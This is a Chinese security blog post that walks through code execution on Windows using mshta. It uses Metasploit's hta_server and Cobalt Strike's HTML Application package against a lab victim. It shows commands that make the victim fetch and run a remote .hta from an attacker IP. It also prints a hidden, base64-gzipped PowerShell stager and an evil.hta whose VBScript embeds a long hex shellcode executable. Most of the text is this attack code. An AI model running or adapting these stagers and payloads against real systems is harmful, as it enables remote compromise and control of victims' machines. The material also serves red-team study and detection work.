mshta/","link":"","permalink":"http://patrilic.top/2019/05/08/Command Execute By mshta/","excerpt":"","text":"@Author: Patrilic@Time: 2019-05-08 11:20:33 0x01 mshta👉官方文档直通车 –>🚗滴滴滴) 思路:利用Mshta执行JavaScript/VBscript 调用WScript.shell执行命令结合VBS下载C2 payload,JS下载payload,JSRAT,直接反弹session……eg:123mshta vbscript:window.execScript(\"alert('hello world!');\",\"javascript\") mshta javascript:window.execScript(\"msgBox('hello world!'):window.close\",\"vbs\") 测试: Attacker : 192.168.199.142 MacOSVictim : 192.168.121.130 Windows 10 1809 0x02 MetaSploit::hta_serverexploit/windows/misc/hta_server 受害机执行1mshta http://192.168.199.142:8080/wSbMp9V.hta 会被Defender拦截样本分析 为Base64加密的ps1代码123456789101112if([IntPtr]::Size -eq 4){ $b='powershell.exe'}else{ $b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'}; $s=New-Object System.Diagnostics.ProcessStartInfo; $s.FileName=$b; $s.Arguments='-nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIABhN0FwCA7VW+2/aSBD+OZH6P1gVkm2FYCC0aSJVujVPE5xAHAiEQ6fFXtsLa5vYa169/u83C3abXtO79qSzeOxjZnbmm29m7aahzWkUSr4xlz69OT3p4xgHklJwR1dFqRDdqCcnsFrYs2pd+igpU7RaNaIA03B2fV1P45iE/DgvtQlHSUKCOaMkUVTpT+nRJzE5v5sviM2lT1Lhj1KbRXPMMrFdHds+kc5R6Ii9XmRj4UrJWjHKFfn332V1el6ZlZrPKWaJIlu7hJOg5DAmq9JnVRz4sFsRRTapHUdJ5PLSIw0vqqVhmGCX3IK1NTEJ9yMnkVWIAj4x4WkcSod4hIHjtiLDsB9HNnKcmCSJXJSmwvR0NvtNmWbn3qchpwEpGSEncbSySLymNklKHRw6jNwTdwZaFo9p6M1UFcTW0ZIohTBlrCj9ihnllmxy1H5WSXmpBFJ9HqtFSOMrcZqRkzJy1JRfcVSkXoXnmH7A7fOb0zenbk6U+YX5kigwOpkexgRcU/pRQg9iH6VyUTLhEMyjeAfTwkOcEnX2BVipsF4Wf6xdyUVB0Kt0rS2sTUcRdWagkyWzsAnmYvnHnGwQl4aksQtxQO2cdsprABOXkUOApVzsFpxS5GyDOA3CiIe5gEzk+Tu1ZkD5F109pcwhMbIhSQl4BflTv3XmmAVFNkKTBIDQcQ7EK7hAdpJLZwTf5aeLOQjJdYaTpCj1U6g2uyhZBDPiFCUUJjTbQimPDkP5q7tmyji1ccJzczM1gzE7rh6FCY9TG3IGoT9YK2JTzAQSRalDHaLvLOrlx8qv4lDHjEEJgKU15AFWRPwWF0yIwUPIulqyCDeCFSMBSBxqvsWwBxWe0fxAHOwRR/6bezmLj5QVOOQAvHAOkmuxiBelEY05dA6B6YFB/+XwFy1DuFGPSZYEJS+Mqb7jgs+FjXUlyJghcog/5hB7K44CHSfkfe3YHJS32h2tI3gmRshMW1/SCtrQimHCd0gvjKhx6dx0Fx0tbmx9FxmJYXb6jUGnU1t3rVGNW02D3/QNbjbHi4WFOvfDCX8yUOeBlpeT2n7VpXurh5zJVnu/1/ebsr7dLzzHnTRc17t0rfvKuxbtPdYHermKe41m2nvUN3q5ljTppjOgw8Gy2+LzyYjhoat548oVpttevBhVInNvINT2L+x91x21fdPZTTqULLRyjw7QAKEb+344bHsrr50g7Wr0XA8W6NkkdxgZqDnadd8xfTBs6WjY1Af4LupfnDW0ypPz3Gw9jXE3YE67o1UmY+SgWHvw/MrlnR8KnLCnP+tCBvWedi0NZPo11KlV6f7pedD2UBNkRkGEcIsuh2djsHn7ADqPw4oTIR4aY00beZqHXMufYKSDtP6MWnpU333om31tNKr6lfmy4oPPZLz+YHbRWcvua5p2FszhV0O2udqGY31zud5w3H0E2w/a1fDjW8EQoEhhVa0+vcj9j7q1iePExww4AW04L8FWFLey3tqPqNBQFHEZL0kcEga3Gdx3OZURY5Et+rpownClHBu9uHeGMLyovjpSpS+C6td2ny9dXz+Bj1AaQN9Sj4Qe94vl7UW5DO27vK2VIcSfD6serXaKsFQU3f8AS2aZHSyromAK6fJ/xSqrUR/+nH/B6uvaP+z+FH7l4jHa75a/XfglNH818EdMOQha0GMYOV5vr8af0eLF1Z8uIedu9og3t7uUn9/C+8Cb078ABtGBSyEKAAA=''))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))'; $s.UseShellExecute=$false; $s.RedirectStandardOutput=$true; $s.WindowStyle='Hidden'; $s.CreateNoWindow=$true; $p=[System.Diagnostics.Process]::Start($s); 解密后1if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIABhN0FwCA7VW+2/aSBD+OZH6P1gVkm2FYCC0aSJVujVPE5xAHAiEQ6fFXtsLa5vYa169/u83C3abXtO79qSzeOxjZnbmm29m7aahzWkUSr4xlz69OT3p4xgHklJwR1dFqRDdqCcnsFrYs2pd+igpU7RaNaIA03B2fV1P45iE/DgvtQlHSUKCOaMkUVTpT+nRJzE5v5sviM2lT1Lhj1KbRXPMMrFdHds+kc5R6Ii9XmRj4UrJWjHKFfn332V1el6ZlZrPKWaJIlu7hJOg5DAmq9JnVRz4sFsRRTapHUdJ5PLSIw0vqqVhmGCX3IK1NTEJ9yMnkVWIAj4x4WkcSod4hIHjtiLDsB9HNnKcmCSJXJSmwvR0NvtNmWbn3qchpwEpGSEncbSySLymNklKHRw6jNwTdwZaFo9p6M1UFcTW0ZIohTBlrCj9ihnllmxy1H5WSXmpBFJ9HqtFSOMrcZqRkzJy1JRfcVSkXoXnmH7A7fOb0zenbk6U+YX5kigwOpkexgRcU/pRQg9iH6VyUTLhEMyjeAfTwkOcEnX2BVipsF4Wf6xdyUVB0Kt0rS2sTUcRdWagkyWzsAnmYvnHnGwQl4aksQtxQO2cdsprABOXkUOApVzsFpxS5GyDOA3CiIe5gEzk+Tu1ZkD5F109pcwhMbIhSQl4BflTv3XmmAVFNkKTBIDQcQ7EK7hAdpJLZwTf5aeLOQjJdYaTpCj1U6g2uyhZBDPiFCUUJjTbQimPDkP5q7tmyji1ccJzczM1gzE7rh6FCY9TG3IGoT9YK2JTzAQSRalDHaLvLOrlx8qv4lDHjEEJgKU15AFWRPwWF0yIwUPIulqyCDeCFSMBSBxqvsWwBxWe0fxAHOwRR/6bezmLj5QVOOQAvHAOkmuxiBelEY05dA6B6YFB/+XwFy1DuFGPSZYEJS+Mqb7jgs+FjXUlyJghcog/5hB7K44CHSfkfe3YHJS32h2tI3gmRshMW1/SCtrQimHCd0gvjKhx6dx0Fx0tbmx9FxmJYXb6jUGnU1t3rVGNW02D3/QNbjbHi4WFOvfDCX8yUOeBlpeT2n7VpXurh5zJVnu/1/ebsr7dLzzHnTRc17t0rfvKuxbtPdYHermKe41m2nvUN3q5ljTppjOgw8Gy2+LzyYjhoat548oVpttevBhVInNvINT2L+x91x21fdPZTTqULLRyjw7QAKEb+344bHsrr50g7Wr0XA8W6NkkdxgZqDnadd8xfTBs6WjY1Af4LupfnDW0ypPz3Gw9jXE3YE67o1UmY+SgWHvw/MrlnR8KnLCnP+tCBvWedi0NZPo11KlV6f7pedD2UBNkRkGEcIsuh2djsHn7ADqPw4oTIR4aY00beZqHXMufYKSDtP6MWnpU333om31tNKr6lfmy4oPPZLz+YHbRWcvua5p2FszhV0O2udqGY31zud5w3H0E2w/a1fDjW8EQoEhhVa0+vcj9j7q1iePExww4AW04L8FWFLey3tqPqNBQFHEZL0kcEga3Gdx3OZURY5Et+rpownClHBu9uHeGMLyovjpSpS+C6td2ny9dXz+Bj1AaQN9Sj4Qe94vl7UW5DO27vK2VIcSfD6serXaKsFQU3f8AS2aZHSyromAK6fJ/xSqrUR/+nH/B6uvaP+z+FH7l4jHa75a/XfglNH818EdMOQha0GMYOV5vr8af0eLF1Z8uIedu9og3t7uUn9/C+8Cb078ABtGBSyEKAAA=''))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s); Gzip文件流Base64加密 Defender拦截 0x03 Cobalt StrikeAttacks –> Packages –> HTML Application 生成的.HTA文件存在本地,可以通过多种方式传入受害机受害机上执行命令1mshta http://192.168.199.142:8080/evil.hta evil.hta1234567891011121314151617181920212223242526272829<script language="VBScript"> Function var_func() var_shellcode = "04d5a9000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c010700e26f3a570000000000000000e0000f030b010216001c00000034000000060000b0140000001000000030000000004000001000000002000004000000010000000400000000000000009000000004000024dc0000020000000000200000100000000010000010000000000000100000000000000000000000006000003006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000018000000000000000000000000000000000000001c610000e00000000000000000000000000000000000000000000000000000002e74657874000000c41a000000100000001c000000040000000000000000000000000000600050602e6461746100000024060000003000000008000000200000000000000000000000000000400060c02e72646174610000d0020000004000000004000000280000000000000000000000000000400030402e627373000000001c040000005000000000000000000000000000000000000000000000800060c02e69646174610000300600000060000000080000002c0000000000000000000000000000400030c02e4352540000000034000000007000000002000000340000000000000000000000000000400030c02e746c730000000020000000008000000002000000360000000000000000000000000000400030c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f3c38db426000000008dbc270000000083ec2ca120504000c744241018504000c74424080c504000c744240408504000a318504000a124504000c70424045040008944240ce896190000a31c50400083c42cc38db6000000008dbc270000000083ec1c31c066813d000040004d5ac7053050400001000000c7052c50400001000000c7052850400001000000c7053c504000010000007468a314504000a14050400085c0744ac7042402000000e836190000c70424ffffffffe8020800008b1544504000a3fc534000a300544000a1ac6140008910e8260b0000833d1436400001746d31c083c41cc38db42600000000c7042401000000e8ec180000ebb466908b153c00400081ba00004000504500008d8a0000400075800fb751186681fa0b01743f6681fa0b020f856affffff83b9840000000e0f865dffffff8b91f800000031c085d20f95c0e94bffffff8d7600c70424a01b4000e8340a000031c083c41cc38379740e0f862cffffff8b89e800000031c085c90f95c0e91affffff66905531c089e5b91100000057568d55a45389d783ec7cf3abb030e8d217000029c48d44241b83e0f0c700ccccccccc74004ccccccccc74008ccccccccc7400cccccccccc74010ccccccccc74014ccccccccc74018ccccccccc7401ccccccccc83e4f0a14050400085c00f858502000064a1180000008b35686140008b5804eb159039d80f8418020000c70424e8030000ffd683ec04c744240800000000895c2404c7042404544000e89417000083ec0c85c075cda10854400031db83f8010f84f0010000a10854400085c00f8434020000c7050050400001000000a10854400083f8010f84e801000085db7507f0871d04544000a18040400085c0741cc744240800000000c744240402000000c7042400000000ffd083ec0ce8130c0000c70424b0194000ff156461400083ec04a348504000e8a9110000c744240400404000890424ff154061400083ec0885c07409c7042400104000ffd0e843120000a14050400085c0745ea1a061400031c98b00eb0b84d2742b84c9741c83c0010fb61080fa207eed89cb83f30180fa220f44cbebe884d2740b83c0010fb61080fa207ef10fb755d4f645d001a3e4534000b80a000000c705ec534000000040000f45c2a3e85340008b150450400031db8d049504000000895594890424e89a1600008b3d085040008945908b459485c07e3c66908b049f890424e8851600008d7001893424e8721600008b559089049a8b149f83c3018974240889042489542404e84e1600003b5d9475c9c1e3028b4590c7041800000000a308504000e8f2110000a1906140008b150c5040008910a10c50400089442408a10850400089442404a104504000890424e89a0200008b351450400085f6a3105040000f84aa0000008b1d0050400085db750ae8fc150000a1105040008d65f45b5e5f5dc38db42600000000a108544000bb0100000083f8010f8510feffffc704241f000000e8d1150000a10854400083f8010f851bfeffff8d7600c744240408704000c7042400704000e8b4150000c7050854400002000000e9f5fdffff891424ff154461400083ec04e96afdffffc7050854400001000000c744240418704000c704240c704000e876150000e9b3fdffff890424e8711500009083ec0cc7054050400001000000e80e11000083c40ce9b6fcffff8db60000000083ec0cc7054050400000000000e8ee10000083c40ce996fcffff9090909090905589e583ec18a12036400085c0743cc7042420404000ff153c614000ba0000000083ec0485c07416c74424042e404000890424ff154061400083ec0889c285d27409c7042420364000ffd2c9c38d76005589e55dc390909090909090909090905589e55383ec348b450cc744240c40000000c74424080010000089442404c7042400000000a178614000ffd083ec108945f0c745f400000000eb448b45f489c1034d088b45f40345080fb6188b45f489c2c1fa1fc1ea1e01d083e00329d00345100fb60031d888018b45f489c20355088b45f40345f00fb61288108345f4018b45f43b450c7cb48b45f0c744241400000000c744241000000000c744240c0000000089442408c744240400000000c7042400000000a11c614000ffd083ec188b5dfcc9c35589e583ec28c745f4003040008b45f48b4004890424e8c91300008945f08b45f48b400489c18b45f483c01089c28b45f0894c240889542404890424e89b1300008b45f48d50088b45f48b400489542408894424048b45f0890424e8dcfeffff8b45f0890424e8a9130000c9c39090908d4c240483e4f0ff71fc5589e55183ec14e8160f0000c7042400000000e86effffffc7042410270000a168614000ffd083ec04ebed9090900000000083ec1c8b44242485c0741583f8037410b80100000083c41cc20c00908d7426008b542428894424048b44242089542408890424e8d8110000b80100000083c41cc20c008db6000000008dbc27000000005383ec188b15c46140008b442424833a037631833d1036400002740ac705103640000200000083f8020f840401000083f8010f849a00000083c418b8010000005bc20c00c705f853400001000000c7042444404000ff155861400083ec0485c0a3385040000f84f80000008b1d40614000c744240451404000890424ffd3a3f4534000a13850400083ec08c74424046c404000890424ffd38b153850400083ec0885d2a3f05340000f84b50000008b0df453400085c9743b85c07437c705103640000100000083c418b8010000005bc20c008b442428c744240401000000894424088b442420890424e8d2100000e945ffffffc705f053400000000000c705f453400000000000891424ff152861400083ec04c7053850400000000000b801000000c705103640000000000083c4185bc20c00bb3070400081fb307040000f84f4feffff8b0385c07402ffd083c30481fb3070400075ed83c418b8010000005bc20c00c705f053400000000000c705f453400000000000eb9a8db4260000000031c0c390909090909090909090909090a194614000ffe09090909090909090908b442404c38d7426008dbc27000000008b442404c390909090909090909090905383ec28a1005440008b5c2430890424e8cbffffff83f8ff894424180f847e000000c7042408000000e832110000a100544000890424e8a5ffffff89442418a1fc534000890424e894ffffff891c248944241c8d44241c894424088d44241889442404e80011000089c38b442418890424e87affffffa3005440008b44241c890424e869ffffffc7042408000000a3fc534000e8d810000083c42889d85bc390891c24ff15bc61400083c42889c389d85bc38db426000000008dbc270000000083ec1c8b442420890424e831ffffff83f80119c083c41cc39090909090909090565383ec248b5c24308b038b003d910000c077433d8d0000c07269be01000000c744240400000000c7042408000000e86410000083f8010f841301000085c0742bc7042408000000ffd0b8ffffffff83c4245b5ec204003d940000c074673d960000c0742d3d930000c074afa14850400085c00f84ca000000895c243083c4245b5effe03d050000c074453d1d0000c075dac744240400000000c7042404000000e8f20f000083f801745c85c074bdc7042404000000ffd083c424b8ffffffff5b5ec2040031f6e954ffffff8d742600c744240400000000c704240b000000e8b40f000083f801743c85c00f847bffffffc704240b000000ffd083c424b8ffffffff5b5ec20400c744240401000000c7042404000000e87d0f0000b8ffffffffe92affffffc744240401000000c704240b000000e85f0f0000b8ffffffffe90cffffff31c0e905ffffff8db600000000c744240401000000c7042408000000e8340f000085f6b8ffffffff0f84defeffff8944241ce8f60900008b44241ce9ccfeffff9090909090909090909090909083ec3ca14c504000dd442448dd442450dd44245885c07429d9ca8b542440dd5c2418dd5c2420dd5c2428895424108b542444895424148d542410891424ffd0eb06ddd8ddd8ddd883c43cc3908d7426008b442404a34c504000e9b20e0000669083ec3cba844040008b4424408b0883e90183f90577078b148da0414000dd4018dd5c2420dd4010dd5c2418dd4008dd5c24108b400489542408c7442404944040008944240ca1b461400083c040890424e8630e000031c083c43cc3909090909031c0c3909090909090909090909090905383ec18a1b4614000c74424081b0000008d5c2424c744240401000000c70424b841400083c0408944240ce8200e00008b442420895c240889442404a1b461400083c040890424e80c0e0000e80f0e0000eb0d909090909090909090909090905589cd57565389c383ec6c8b0d585040008954241c85c90f8ec5010000a15450400031f68b500439d3720e8b780803570839d30f82d700000083c60183c00c39ce75e1891c24e8b505000085c089c70f84b40100008d14768b3554504000c1e20201d6894608c7060000000089542418e86b0600008b54241803470c8946048d4424408b358061400089442404a154504000c74424081c0000008b441004890424ffd683ec0c85c08b5424180f84370100008b44245483f8040f85d2000000830558504000018d442424c74424081c00000089442404891c24ffd683ec0c85c00f84330100008b44243883f80475298b44241c896c2408891c2489442404e87d0c000083c46c5b5e5f5dc3908d7426008b3580614000ebae83f84074d28b4424308d7c245c8b357c614000897c240cc744240840000000894424048b442424890424ffd683ec108b44241c896c2408891c2489442404e8250c00008b44243883f840749f83f804749a8b44245c897c240c894424088b442430894424048b442424890424ffd683ec1083c46c5b5e5f5dc383f8400f8425ffffff8b44244c031554504000c744240840000000894424048b4424408954240c890424ff157c61400083ec1085c00f85f3feffffff1538614000c704242842400089442404e8befdffff31f6e95afeffffa1545040008b441004894424088b4708c70424f441400089442404e897fdffff895c2404c70424d4414000e887fdffff895c2408c74424041c000000c70424f4414000e86ffdffffeb0d909090909090909090909090905589e557565383ec4ca15050400085c0740e8d65f45b5e5f5dc38db600000000c7055050400001000000e8d10300008d04408d04851e00000083e0f0e87f0a0000c705585040000000000029c48d44241f83e0f0a354504000b8d04240002dd042400083f8077eaa83f80bbbd04240000f8eea000000a1d042400085c07511a1d442400085c00f84c00000008d74260081fbd04240000f8376ffffffbe000040008b4304b90400000001f08b10031383c3088955e48d55e4e803fdffff81fbd042400072dc8b0d5850400085c90f8e3fffffff31db31f68b3d80614000eb139083c60183c30c3b35585040000f8d20ffffffa15450400001d88b1085d274e18d55c4c74424081c000000895424048b4004890424ffd783ec0c85c00f84510100008d45e48944240ca1545040008b0418894424088b45d0894424048b45c4890424ff157c61400083ec10eb94a1d842400085c07520bbdc4240008db6000000008b3b85ff0f8526ffffff8b730485f60f851bffffff8b430883f8010f851401000083c30c81fbd04240000f8382feffff0fb65308b8000040008b0b03430483fa108bb100004000744183fa20747283fa08741789542404c7042484424000c745e000000000e896fbffff0fb638f7c780000000742081cf00ffffff29cf81ef0000400001fe8975e0eb270fb738f7c700800000755b29cf81ef0000400001fe83fa108975e0745c83fa20742383fa08752bb9010000008d55e0e8a2fbffffeb1c8b1029ca81ea0000400001f28955e0b9040000008d55e0e884fbffff83c30c81fbd04240000f8245ffffffe975feffff81cf0000ffff29cf81ef0000400001fe8975e0b9020000008d55e0e850fbffffebca031d545040008b4304894424088b43088b4008c70424f441400089442404e8cbfaffff89442404c7042450424000e8bbfaffff90909090909090909090908b54240431c066813a4d5a7403f3c39003523c813a5045000075f231c066817a180b010f94c0c389f68dbc27000000005631c0538b54240c8b5c241003523c0fb772060fb74a1485f674230fb7c98d440a1831d28b480c39d9770703480839cb720c83c20183c02839f272e831c05b5ec3eb0d909090909090909090909090905557565331db83ec1c8b7c2430893c24e80b08000083f8087759c7042400004000e85affffff85c07449a13c0040000fb7a8060040000fb79014004000050000400085ed742d0fb7d231f68d5c1018eb0a83c60183c32839ee7325c744240808000000897c2404891c24e82908000085c075de83c41c89d85b5e5f5dc38d760083c41c31db89d85b5e5f5dc38d74260083ec08c7042400004000e8e1feffff89c231c085d274198b44240cc70424000040002d0000400089442404e8f0feffff83c408c38db6000000008dbf0000000083ec04c7042400004000e8a1feffff31d285c0740ca13c0040000fb7900600400089d083c404c389f68dbc2700000000565383ec04c70424000040008b5c2410e86bfeffff31d285c0743ea13c0040000fb788060040000fb7b014004000050000400085c974220fb7f68d54301831c0f6422720740785db740f83eb0183c00183c22839c872e931d283c40489d05b5ec3eb0d9090909090909090909090909083ec04c7042400004000e801feffff31d285c0b8000040000f45d083c40489d0c3eb0d909090909090909090909090905331db83ec08c7042400004000e8cefdffff85c0750a83c40889d85bc38d76008b442410c70424000040002d0000400089442404e8d7fdffff85c074d98b582483c408f7d3c1eb1f89d85bc38d7426005731ff565383ec08c70424000040008b5c2418e878fdffff85c07455a13c0040008bb08000400085f6744689742404c7042400004000e885fdffff85c0743281c600004000750feb288db4260000000083eb0183c6148b560485d275078b460c85c0741c85db7fe88b7e0c81c70000400083c40889f85b5e5fc38db60000000083c40831ff89f85b5e5fc3908d7426005383ec18a15c50400085c0740583c4185bc331c08904248d5801e851ffffff85c0747d0fb61080fa4d740580fa6d75500fb6500180fa53740580fa7375420fb6500280fa56740580fa7675340fb6500380fa43740580fa6375260fb6500480fa52740580fa7275180fb6500580fa54741380fa74740e83ea3080fa097606669089d8eb90890424ff153c61400083ec0485c0a35c5040000f8570ffffff8d7600c70424b0424000ff155c61400083ec04a35c504000e953ffffff909090909090dbe3c39090909090909090909090909083ec0ca10c3640008b0085c074196690ffd0a10c3640008d50048b400489150c36400085c075e983c40cc3908d7426005383ec188b1db02a400083fbff742485db740fff149db02a400083eb018d760075f1c7042430254000e802f4ffff83c4185bc331dbeb0289c38d43018b1485b02a400085d275f0ebc68db426000000008b0d6050400085c97406f3c38d742600c7056050400001000000eb949090909083ec4ca118364000895c243c89742440897c24443d4ee640bb896c2448c744242000000000c7442424000000007421f7d0a31c3640008b5c243c8b7424408b7c24448b6c244883c44cc38db6000000008d442420890424ff154861400083ec048b4424248b6c24208944241cff153061400089c7ff153461400089c6ff154c61400089c38d442428890424ff156061400083ec04336c241c336c2428336c242c31fd31f531dd89e881fd4ee640bbf7d07410892d18364000a31c364000e974ffffffb8b019bf44bd4fe640bbebe466905589e583ec288b45048d5504891544514000c70560534000090400c0c7056453400001000000a338514000a36c5340008b4508c7042400000000a32c514000a1183640008945f0a11c3640008945f4ff156461400083ec04c70424c8424000ff157461400083ec04ff152c614000c7442404090400c0890424ff156c61400083ec08e8490300009090909090909090905557565383ec1cc70424c4534000ff15246140008b1ddc53400083ec0485db74348b2d706140008b3d386140008d76008b03890424ffd583ec0489c6ffd785c0750c85f674088b4304893424ffd08b5b0885db75dbc70424c4534000ff155461400083ec0483c41c5b5e5f5dc38d760083ec1ca1c0534000895c241431db8974241885c0750e89d88b7424188b5c241483c41cc3c74424040c000000c7042401000000e8a802000085c089c674498b442420c70424c453400089068b442424894604ff1524614000a1dc5340008935dc53400089460883ec04c70424c4534000ff155461400089d883ec048b5c24148b74241883c41cc3bbffffffffeb8866905383ec18a1c05340008b5c242085c0750783c41831c05bc3c70424c4534000ff15246140008b15dc53400083ec0485d2741d8b0239d87510eb4c8db6000000008b0839d9742089c28b420885c075f1c70424c4534000ff155461400083ec0483c41831c05bc38b4808894a08890424e884010000c70424c4534000ff155461400083ec04ebd98b4208a3dc53400089d0ebda8db426000000008dbc270000000083ec1c8b44242483f8017444721283f803745db80100000083c41cc38d742600a1c053400085c07569a1c053400083f80175e0c705c053400000000000c70424c4534000ff152061400083ec04ebc490a1c053400085c07427c705c053400001000000b80100000083c41cc38d742600a1c053400085c0749ae8e2fdffffeb93c70424c4534000ff155061400083ec04ebc7e8c9fdffffeb909090909090909051503d001000008d4c240c721581e9001000008309002d001000003d0010000077eb29c18309005859c39090000000008b44240c8b5424088b4c2404f00fb111c3eb0d909090909090909090909090908b44240c8b5424088b4c2404f00fb111c20c0090909090909090909090909090ff258c6140009090ff25986140009090ff25e46140009090ff25e06140009090ff25ec6140009090ff25a86140009090ff25a46140009090ff25b06140009090ff25d06140009090ff25d86140009090ff25b86140009090ff25886140009090ff25c06140009090ff25e86140009090ff259c6140009090ff25d46140009090ff25dc6140009090ff25f46140009090ff25c86140009090ff25f06140009090ff25cc614000909000000000000000005589e583ec18e855eaffffc7042440154000e8e9eeffffc9c390909090909090ffffffff902a400000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010200000110200005694e0fa61616161aa7c69fa56948073b3a5329eddc6d07104986ba8421f92d25923aadc676bd13afaa8818654b8c03b9999e13db464b2adddc6f07114a8e12addd4987f96e0aafb86c46bb24e1fb8da574703c61f1fd4715742d10567544c3b9999e13d6e74950e55e918c12bb095180e1fb8de574786715adf6ba24a953371521fe12adfd0c4de0dcf81a30cc51f1a0ecbba71447f66a73efa858e56fc979338fdb4921ae3c6fda941087a5694e0b739ee89963af5cfcf78a4c0d235fb8d8a37e089983af1dbda1bc7a9bf76adceca6db4b79338f08f8d25b4aeae76a2cecb6db4b79338a2d4c176ecd6ce6db4b4883ff0859422bbd5d466afc0b819dda5c36dd1aeaf05bde0a20eccb8a20eccb8a20eccb8a20eccb8a20eccb8a20eccb8a20eccb8a20eccb8a20eccb8a20ecce0a3676bb7ad01c3b1926cc2995da9410b830da529ab07fee3ab07fcb0fa5694b3aa3ec36965906b351134cdd12804fce0f83610b2a804c5b2aa3e7fb5d46d6b357390a51fad01c3b7ac3eb9e6e22d6b357f96e0a4cba911168e521d19115ffc4a3fb4c91f2fdf5588bf77cad10583a51fad3c93b1ac06fc57adb69f1f2fe994cffa56ad278eeaa51f11437fa912cf6b1f0579f8b6b71b94e092a62142aca9418aba3e94f0fa56fce0fa1694b7920e30b31fa94173a9051d07ad3e94c0fa56c7b69244026918a941653a22596bfd5757653a2371b839bea31f05a9a5d9c878a5d6c278a5d9c378a5d4c85658354f2150254041505b345c505a58353428505e2937434329377d2445494341522d5354414e444152442d414e544956495255532d544553542d46494c452124482b482a4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141410000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ff000000ffffffffffffffffc02a400002000000ffffffff4ee640bbb119bf440000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005f7365745f696e76616c69645f706172616d657465725f68616e646c657200006c696267636a2d31322e646c6c005f4a765f5265676973746572436c61737365730000006d696e67776d31302e646c6c005f5f6d696e67777468725f72656d6f76655f6b65795f64746f72005f5f6d696e67777468725f6b65795f64746f720010174000556e6b6e6f776e206572726f720000005f6d61746865727228293a20257320696e2025732825672c2025672920202872657476616c3d2567290a0000417267756d656e7420646f6d61696e206572726f722028444f4d41494e2900417267756d656e742073696e67756c617269747920285349474e2900004f766572666c6f772072616e6765206572726f7220284f564552464c4f57290054686520726573756c7420697320746f6f20736d616c6c20746f20626520726570726573656e7465642028554e444552464c4f5729000000546f74616c206c6f7373206f66207369676e69666963616e63652028544c4f53532900005061727469616c206c6f7373206f66207369676e69666963616e63652028504c4f53532900000000c0404000df404000fc4040001c41400054414000784140004d696e67772d7736342072756e74696d65206661696c7572653a0a004164647265737320257020686173206e6f20696d6167652d73656374696f6e0020205669727475616c5175657279206661696c656420666f7220256420627974657320617420616464726573732025700000000020205669727475616c50726f74656374206661696c6564207769746820636f6465203078257800002020556e6b6e6f776e2070736575646f2072656c6f636174696f6e2070726f746f636f6c2076657273696f6e2025642e0a0000002020556e6b6e6f776e2070736575646f2072656c6f636174696f6e206269742073697a652025642e0a0000006d00730076006300720074002e0064006c006c00000000006053400080504000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000